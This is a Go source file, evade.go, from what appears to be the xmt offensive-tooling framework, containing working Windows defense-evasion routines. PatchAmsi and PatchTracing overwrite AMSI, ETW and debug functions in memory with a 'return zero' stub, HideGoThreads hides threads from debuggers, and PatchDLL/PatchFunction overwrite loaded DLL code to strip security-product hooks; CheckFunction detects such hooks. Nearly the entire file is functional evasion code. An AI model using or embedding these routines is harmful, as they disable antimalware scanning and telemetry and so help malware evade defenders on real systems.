github.com/iDigitalFlame/xmt@v0.5.4/device/winapi/evade.go (about)

     1  //go:build windows
     2  // +build windows
     3  
     4  // Copyright (C) 2020 - 2023 iDigitalFlame
     5  //
     6  // This program is free software: you can redistribute it and/or modify
     7  // it under the terms of the GNU General Public License as published by
     8  // the Free Software Foundation, either version 3 of the License, or
     9  // any later version.
    10  //
    11  // This program is distributed in the hope that it will be useful,
    12  // but WITHOUT ANY WARRANTY; without even the implied warranty of
    13  // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    14  // GNU General Public License for more details.
    15  //
    16  // You should have received a copy of the GNU General Public License
    17  // along with this program.  If not, see <https://www.gnu.org/licenses/>.
    18  //
    19  
    20  package winapi
    21  
    22  import (
    23  	"strings"
    24  	"syscall"
    25  	"unsafe"
    26  
    27  	"github.com/iDigitalFlame/xmt/device/arch"
    28  	"github.com/iDigitalFlame/xmt/util/bugtrack"
    29  )
    30  
    31  // PatchAmsi will attempt to zero out the following function calls with a
    32  // ASM patch that returns with zero (Primary AMSI/PowerShell calls).
    33  //
    34  //   - AmsiInitialize
    35  //   - AmsiScanBuffer
    36  //   - AmsiScanString
    37  //
    38  // This will return an error if any of the patches fail.
    39  //
    40  // This function returns 'syscall.EINVAL' if ASMI is not avaliable on the target
    41  // system, which is Windows 10 and newer.
    42  func PatchAmsi() error {
    43  	if !IsWindows10() {
    44  		return syscall.EINVAL
    45  	}
    46  	if err := zeroPatch(funcAmsiInitialize); err != nil {
    47  		return err
    48  	}
    49  	if err := zeroPatch(funcAmsiScanBuffer); err != nil {
    50  		return err
    51  	}
    52  	if err := zeroPatch(funcAmsiScanString); err != nil {
    53  		return err
    54  	}
    55  	return nil
    56  }
    57  
    58  // PatchTracing will attempt to zero out the following function calls with a
    59  // ASM patch that returns with zero:
    60  //
    61  //   - NtTraceEvent
    62  //   - DebugBreak
    63  //   - DbgBreakPoint
    64  //   - EtwEventWrite
    65  //   - EtwEventRegister
    66  //   - EtwEventWriteFull
    67  //   - EtwNotificationRegister
    68  //
    69  // This will return an error if any of the patches fail.
    70  //
    71  // Any system older than Windows Vista will NOT patch ETW functions as they do
    72  // not exist in older versions.
    73  func PatchTracing() error {
    74  	if err := zeroPatch(funcNtTraceEvent); err != nil {
    75  		return err
    76  	}
    77  	if err := zeroPatch(funcDebugBreak); err != nil {
    78  		return err
    79  	}
    80  	if err := zeroPatch(funcDbgBreakPoint); err != nil {
    81  		return err
    82  	}
    83  	if !IsWindowsVista() {
    84  		return nil
    85  	}
    86  	// NOTE(dij): These are only supported in Windows Vista and above.
    87  	if err := zeroPatch(funcEtwEventWrite); err != nil {
    88  		return err
    89  	}
    90  	if err := zeroPatch(funcEtwEventWriteFull); err != nil {
    91  		return err
    92  	}
    93  	if err := zeroPatch(funcEtwEventRegister); err != nil {
    94  		return err
    95  	}
    96  	if err := zeroPatch(funcEtwNotificationRegister); err != nil {
    97  		return err
    98  	}
    99  	return nil
   100  }
   101  
   102  // HideGoThreads is a utility function that can aid in anti-debugging measures.
   103  // This will set the "ThreadHideFromDebugger" flag on all GOLANG threads only.
   104  func HideGoThreads() error {
   105  	return ForEachThread(func(h uintptr) error {
   106  		// 0x11 - ThreadHideFromDebugger
   107  		if r, _, _ := syscallN(funcNtSetInformationThread.address(), h, 0x11, 0, 0); r > 0 {
   108  			return formatNtError(r)
   109  		}
   110  		return nil
   111  	})
   112  }
   113  func zeroPatch(p *lazyProc) error {
   114  	if p.find() != nil || p.addr == 0 {
   115  		// NOTE(dij): Not returning the error here so other function calls
   116  		//            /might/ succeed.
   117  		return nil
   118  	}
   119  	// 0x40 - PAGE_EXECUTE_READWRITE
   120  	o, err := NtProtectVirtualMemory(CurrentProcess, p.addr, 5, 0x40)
   121  	if err != nil {
   122  		return err
   123  	}
   124  	(*(*[1]byte)(unsafe.Pointer(p.addr)))[0] = 0x48     // XOR
   125  	(*(*[1]byte)(unsafe.Pointer(p.addr + 1)))[0] = 0x33 // RAX
   126  	(*(*[1]byte)(unsafe.Pointer(p.addr + 2)))[0] = 0xC0 // RAX
   127  	(*(*[1]byte)(unsafe.Pointer(p.addr + 3)))[0] = 0xC3 // RET
   128  	(*(*[1]byte)(unsafe.Pointer(p.addr + 4)))[0] = 0xC3 // RET
   129  	_, err = NtProtectVirtualMemory(CurrentProcess, p.addr, 5, o)
   130  	syscallN(funcNtFlushInstructionCache.address(), CurrentProcess, p.addr, 5)
   131  	return err
   132  }
   133  
   134  // PatchDLLFile attempts overrite the in-memory contents of the DLL name or file
   135  // path provided to ensure it has "known-good" values.
   136  //
   137  // This function version will read in the DLL data from the local disk and will
   138  // overwite the entire executable region.
   139  //
   140  // DLL base names will be expanded to full paths not if already full path names.
   141  // (Unless it is a known DLL name).
   142  func PatchDLLFile(dll string) error {
   143  	a, b, err := ExtractDLLBase(dll)
   144  	if err != nil {
   145  		return err
   146  	}
   147  	return PatchDLL(dll, a, b)
   148  }
   149  
   150  // CheckDLLFile attempts to check the in-memory contents of the DLL name or file
   151  // path provided to ensure it matches "known-good" values.
   152  //
   153  // This function version will read in the DLL data from the disk and will verify
   154  // the entire executable region.
   155  //
   156  // DLL base names will be expanded to full paths not if already full path names.
   157  // (Unless it is a known DLL name).
   158  //
   159  // This returns true if the DLL is considered valid/unhooked.
   160  func CheckDLLFile(dll string) (bool, error) {
   161  	a, b, err := ExtractDLLBase(dll)
   162  	if err != nil {
   163  		return false, err
   164  	}
   165  	return CheckDLL(dll, a, b)
   166  }
   167  func loadCachedEntry(dll string) (uintptr, error) {
   168  	if len(dll) == 0 {
   169  		return 0, ErrInvalidName
   170  	}
   171  	b := dll
   172  	if !isBaseName(dll) {
   173  		if i := strings.LastIndexByte(dll, '\\'); i > 0 && len(dll) > i {
   174  			b = dll[i:]
   175  		}
   176  	}
   177  	if len(b) == 0 {
   178  		return 0, ErrInvalidName
   179  	}
   180  	switch {
   181  	case strings.EqualFold(b, dllNtdll.name):
   182  		if err := dllNtdll.load(); err != nil {
   183  			return 0, err
   184  		}
   185  		return dllNtdll.addr, nil
   186  	case strings.EqualFold(b, dllKernelBase.name):
   187  		if err := dllKernel32.load(); err != nil {
   188  			return 0, err
   189  		}
   190  		return dllKernel32.addr, nil
   191  	case strings.EqualFold(b, dllKernel32.name):
   192  		if err := dllKernel32.load(); err != nil {
   193  			return 0, err
   194  		}
   195  		return dllKernel32.addr, nil
   196  	case strings.EqualFold(b, dllAdvapi32.name):
   197  		if err := dllAdvapi32.load(); err != nil {
   198  			return 0, err
   199  		}
   200  		return dllAdvapi32.addr, nil
   201  	case strings.EqualFold(b, dllUser32.name):
   202  		if err := dllUser32.load(); err != nil {
   203  			return 0, err
   204  		}
   205  		return dllUser32.addr, nil
   206  	case strings.EqualFold(b, dllDbgHelp.name):
   207  		if err := dllDbgHelp.load(); err != nil {
   208  			return 0, err
   209  		}
   210  		return dllDbgHelp.addr, nil
   211  	case strings.EqualFold(b, dllGdi32.name):
   212  		if err := dllGdi32.load(); err != nil {
   213  			return 0, err
   214  		}
   215  		return dllGdi32.addr, nil
   216  	case strings.EqualFold(b, dllWinhttp.name):
   217  		if err := dllWinhttp.load(); err != nil {
   218  			return 0, err
   219  		}
   220  		return dllWinhttp.addr, nil
   221  	case strings.EqualFold(b, dllWtsapi32.name):
   222  		if err := dllWtsapi32.load(); err != nil {
   223  			return 0, err
   224  		}
   225  		return dllWtsapi32.addr, nil
   226  	}
   227  	return loadLibraryEx(dll)
   228  }
   229  
   230  // PatchFunction attempts to overrite the in-memory contents of the DLL name or
   231  // file path provided with the supplied function name to ensure it has "known-good"
   232  // values.
   233  //
   234  // This function version will overwite the function base address against the supplied
   235  // bytes. If the bytes supplied are nil/empty, this function returns an error.
   236  //
   237  // DLL base names will be expanded to full paths not if already full path names.
   238  // (Unless it is a known DLL name).
   239  func PatchFunction(dll, name string, b []byte) error {
   240  	if len(b) == 0 {
   241  		return ErrInsufficientBuffer
   242  	}
   243  	h, err := loadCachedEntry(dll)
   244  	if err != nil {
   245  		return err
   246  	}
   247  	p, err := findProc(h, name, dll)
   248  	if err != nil {
   249  		return err
   250  	}
   251  	if bugtrack.Enabled {
   252  		bugtrack.Track("winapi.PatchFunction(): Writing supplied %d bytes %X-%X to dll=%s, name=%s.", len(b), p, p+uintptr(len(b)), dll, name)
   253  	}
   254  	// 0x40 - PAGE_EXECUTE_READWRITE
   255  	//        NOTE(dij): Needs to be PAGE_EXECUTE_READWRITE so ntdll.dll doesn't
   256  	//                   crash during runtime.
   257  	o, err := NtProtectVirtualMemory(CurrentProcess, p, uint32(len(b)), 0x40)
   258  	if err != nil {
   259  		return err
   260  	}
   261  	for i := range b {
   262  		(*(*[1]byte)(unsafe.Pointer(p + uintptr(i))))[0] = b[i]
   263  	}
   264  	if _, err = NtProtectVirtualMemory(CurrentProcess, p, uint32(len(b)), o); bugtrack.Enabled {
   265  		bugtrack.Track("winapi.PatchFunction(): Patching %d bytes %X-%X to dll=%s, name=%s complete, err=%s", len(b), p, p+uintptr(len(b)), dll, name, err)
   266  	}
   267  	return err
   268  }
   269  
   270  // PatchDLL attempts to overrite the in-memory contents of the DLL name or file
   271  // path provided to ensure it has "known-good" values.
   272  //
   273  // This function version will overwrite the DLL contents against the supplied bytes
   274  // and starting address. The 'winapi.ExtractDLLBase' can suppply these values.
   275  // If the byte array is nil/empty, this function returns an error.
   276  //
   277  // DLL base names will be expanded to full paths not if already full path names.
   278  // (Unless it is a known DLL name).
   279  func PatchDLL(dll string, addr uint32, b []byte) error {
   280  	if len(b) == 0 {
   281  		return ErrInsufficientBuffer
   282  	}
   283  	h, err := loadCachedEntry(dll)
   284  	if err != nil {
   285  		return err
   286  	}
   287  	var (
   288  		n = uint32(len(b))
   289  		a = h + uintptr(addr)
   290  	)
   291  	if bugtrack.Enabled {
   292  		bugtrack.Track("winapi.PatchDLL(): Writing supplied %d bytes %X-%X to dll=%s", len(b), a, a+uintptr(len(b)), dll)
   293  	}
   294  	// 0x40 - PAGE_EXECUTE_READWRITE
   295  	//        NOTE(dij): Needs to be PAGE_EXECUTE_READWRITE so ntdll.dll doesn't
   296  	//                   crash during runtime.
   297  	o, err := NtProtectVirtualMemory(CurrentProcess, a, n, 0x40)
   298  	if err != nil {
   299  		return err
   300  	}
   301  	for i := range b {
   302  		(*(*[1]byte)(unsafe.Pointer(a + uintptr(i))))[0] = b[i]
   303  	}
   304  	if _, err = NtProtectVirtualMemory(CurrentProcess, a, n, o); bugtrack.Enabled {
   305  		bugtrack.Track("winapi.PatchDLL(): Patching %d bytes %X-%X to dll=%s complete, err=%s", len(b), a, a+uintptr(len(b)), dll, err)
   306  	}
   307  	return err
   308  }
   309  
   310  // CheckFunction attempts to check the in-memory contents of the DLL name or file
   311  // path provided with the supplied function name to ensure it matches "known-good"
   312  // values.
   313  //
   314  // This function version will check the function base address against the supplied
   315  // bytes. If the bytes supplied are nil/empty, this will do a simple long JMP/CALL
   316  // Assembly check instead.
   317  //
   318  // DLL base names will be expanded to full paths not if already full path names.
   319  // (Unless it is a known DLL name).
   320  //
   321  // This returns true if the DLL function is considered valid/unhooked.
   322  func CheckFunction(dll, name string, b []byte) (bool, error) {
   323  	h, err := loadCachedEntry(dll)
   324  	if err != nil {
   325  		return false, err
   326  	}
   327  	p, err := findProc(h, name, dll)
   328  	if err != nil {
   329  		return false, err
   330  	}
   331  	if len(b) > 0 {
   332  		for i := range b {
   333  			if (*(*[1]byte)(unsafe.Pointer(p + uintptr(i))))[0] != b[i] {
   334  				if bugtrack.Enabled {
   335  					bugtrack.Track("winapi.CheckFunction(): Difference in supplied bytes at %X, dll=%s, name=%s!", p+uintptr(i), dll, name)
   336  				}
   337  				return false, nil
   338  			}
   339  		}
   340  		return true, nil
   341  	}
   342  	switch (*(*[1]byte)(unsafe.Pointer(p)))[0] {
   343  	case 0xE9, 0xFF: // JMP
   344  		if *(*uint32)(unsafe.Pointer(p + 1)) < 16 { // JMP too small to be a hook.
   345  			return true, nil
   346  		}
   347  		if bugtrack.Enabled {
   348  			bugtrack.Track("winapi.CheckFunction(): Detected an odd JMP instruction at %X, dll=%s, name=%s!", p, dll, name)
   349  		}
   350  		return false, nil
   351  	}
   352  	if v := (*(*[1]byte)(unsafe.Pointer(p + 1)))[0]; v == 0xFF || v == 0xCC {
   353  		if bugtrack.Enabled {
   354  			bugtrack.Track("winapi.CheckFunction(): Detected an odd JMP instruction at %X, dll=%s, name=%s!", p, dll, name)
   355  		}
   356  		return false, nil
   357  	}
   358  	if (*(*[1]byte)(unsafe.Pointer(p + 2)))[0] == 0xCC || (*(*[1]byte)(unsafe.Pointer(p + 3)))[0] == 0xCC {
   359  		if bugtrack.Enabled {
   360  			bugtrack.Track("winapi.CheckFunction(): Detected an odd INT3 instruction at %X, dll=%s, name=%s!", p, dll, name)
   361  		}
   362  		return false, nil
   363  	}
   364  	// Interesting notice from BananaPhone: https://github.com/C-Sto/BananaPhone/blob/6585e59137610bc0f526bb6647384df74b4b30f3/pkg/BananaPhone/bananaphone.go#L256
   365  	// Check for ntdll.dll functions doing syscall prep.
   366  	// Check the first 4 bytes to see if they match.
   367  	//
   368  	//   mov r10, rcx     // 4C 8B D1 B8 51 00 00 00
   369  	//   mov eax, [sysid] // B8 [sysid]
   370  	//   ^ AMD64 Only
   371  	//
   372  	//   x86 calls SYSENTER at 7FFE0300 instead
   373  	//   mov eax, [sysid]  // B8 [sysid]
   374  	//   mov edx, 7ffe0300 // BA 00 03 FE 7F
   375  	//
   376  	// NOTE(dij): This can cause some false positives on non-syscall functions
   377  	//            such as ETW or heap management functions.
   378  	if dllNtdll.addr > 0 && h == dllNtdll.addr {
   379  		switch arch.Current {
   380  		case arch.ARM, arch.X86:
   381  			if v := *(*[5]byte)(unsafe.Pointer(p + 5)); (*(*[1]byte)(unsafe.Pointer(p)))[0] != 0xB8 || v[0] != 0xBA || v[1] != 0x00 || v[2] != 0x03 || v[3] != 0xFE || v[4] != 0x7F {
   382  				if bugtrack.Enabled {
   383  					bugtrack.Track("winapi.CheckFunction(): Detected an ntdll function that does not match standard syscall instructions at %X, dll=%s, name=%s!", p, dll, name)
   384  				}
   385  				return false, nil
   386  			}
   387  		case arch.ARM64, arch.X64:
   388  			if v := *(*[5]byte)(unsafe.Pointer(p)); v[0] != 0x4C || v[1] != 0x8B || v[2] != 0xD1 || v[3] != 0xB8 || v[4] != 0x51 {
   389  				if bugtrack.Enabled {
   390  					bugtrack.Track("winapi.CheckFunction(): Detected an ntdll function that does not match standard syscall instructions at %X, dll=%s, name=%s!", p, dll, name)
   391  				}
   392  				return false, nil
   393  			}
   394  		}
   395  	}
   396  	return true, nil
   397  }
   398  
   399  // CheckDLL attempts to check the in-memory contents of the DLL name or file path
   400  // provided to ensure it matches "known-good" values.
   401  //
   402  // This function version will check the DLL contents against the supplied bytes
   403  // and starting address. The 'winapi.ExtractDLLBase' can suppply these values.
   404  // If the byte array is nil/empty, this function returns an error.
   405  //
   406  // DLL base names will be expanded to full paths not if already full path names.
   407  // (Unless it is a known DLL name).
   408  //
   409  // This returns true if the DLL is considered valid/unhooked.
   410  func CheckDLL(dll string, addr uint32, b []byte) (bool, error) {
   411  	if len(b) == 0 {
   412  		return false, ErrInsufficientBuffer
   413  	}
   414  	h, err := loadCachedEntry(dll)
   415  	if err != nil {
   416  		return false, err
   417  	}
   418  	a := h + uintptr(addr)
   419  	for i := range b {
   420  		if (*(*[1]byte)(unsafe.Pointer(a + uintptr(i))))[0] != b[i] {
   421  			if bugtrack.Enabled {
   422  				bugtrack.Track("winapi.CheckDLL(): Difference in supplied bytes at %X, dll=%s!", a+uintptr(i), dll)
   423  			}
   424  			return false, nil
   425  		}
   426  	}
   427  	return true, nil
   428  }